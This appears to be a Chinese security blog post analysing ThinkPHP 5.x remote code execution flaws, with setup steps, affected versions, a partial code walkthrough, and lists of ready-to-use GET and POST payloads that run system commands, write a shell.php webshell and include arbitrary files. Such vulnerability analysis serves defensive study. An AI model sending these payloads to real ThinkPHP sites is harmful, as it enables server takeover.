Thinkphp-vuln RCE
获取环境
composer create-project --prefer-dist topthink/think=5.0 tpdemo
将 composer.json 文件的 require 字段设置成如下:
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.0.18"
},
然后执行 composer update
本系列文章将针对 ThinkPHP 的历史漏洞进行分析,今后爆出的所有 ThinkPHP 漏洞分析,也将更新于 ThinkPHP-Vuln 项目上。本篇文章,将分析 ThinkPHP 中存在的 远程代码执行 漏洞。
相同的,如果要搭建tp5.1,把5.0改成5.1即可,只会需要具体版本再修改require
tp5.*-rce-get
本次漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生。漏洞影响版本: 5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30。不同版本 payload 需稍作调整:具体对应版本请看https://y4er.com/post/thinkphp5-rce/
5.1.x :
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.x :
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
漏洞分析
首先pyaload?s=index/\think\Request/input&filter[]=system&data=whoami
还没跟完,先挖个坑。
tp5-RCE-post
post类型的rce是小于5.0.24的,所以我用的环境是5.0.23
POST ?s=index/index
_method=__construct&filter[]=system&method=get&get[]=whoami
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc
_method=__construct&filter[]=system&server[]=phpinfo&get[]=whoami
漏洞分析
以这个payload为例。
首先APP:run
启动,进到routeCheck
检测
$request->path()
获取到自带的兼容模式参数s
进入检测Route::check($request, $path, $depr, $config['url_domain_deploy'])
下一步关键代码$method = strtolower($request->method());
然后跟进
这里返回的是$config[_sys_][var_method]
的内容,这里的var_method
其实就是Post进去的_method
变量
在config.php这里有写。
因此method被赋值为__construct
,可以调用函数。
$this->{$this->method}($_POST)
可以调用此类的任意方法
此时method为__construct
于是进入了这个类的__construct()
方法,且参数为POST传入的参数。
用post参数把原先的数据覆盖。最后返回method=get
最后返回数据赋值给$dispatch
下一步关键代码$request->param()
继续跟踪到array_walk_recursive($data, [$this, 'filterValue'], $filter);
看看这个函数的用法
进入filterValue
函数,参数为$data
和$filter
然后调用call_user_func
来执行system('whoami')
然后返回值赋值给$data
随着输出回显到页面上。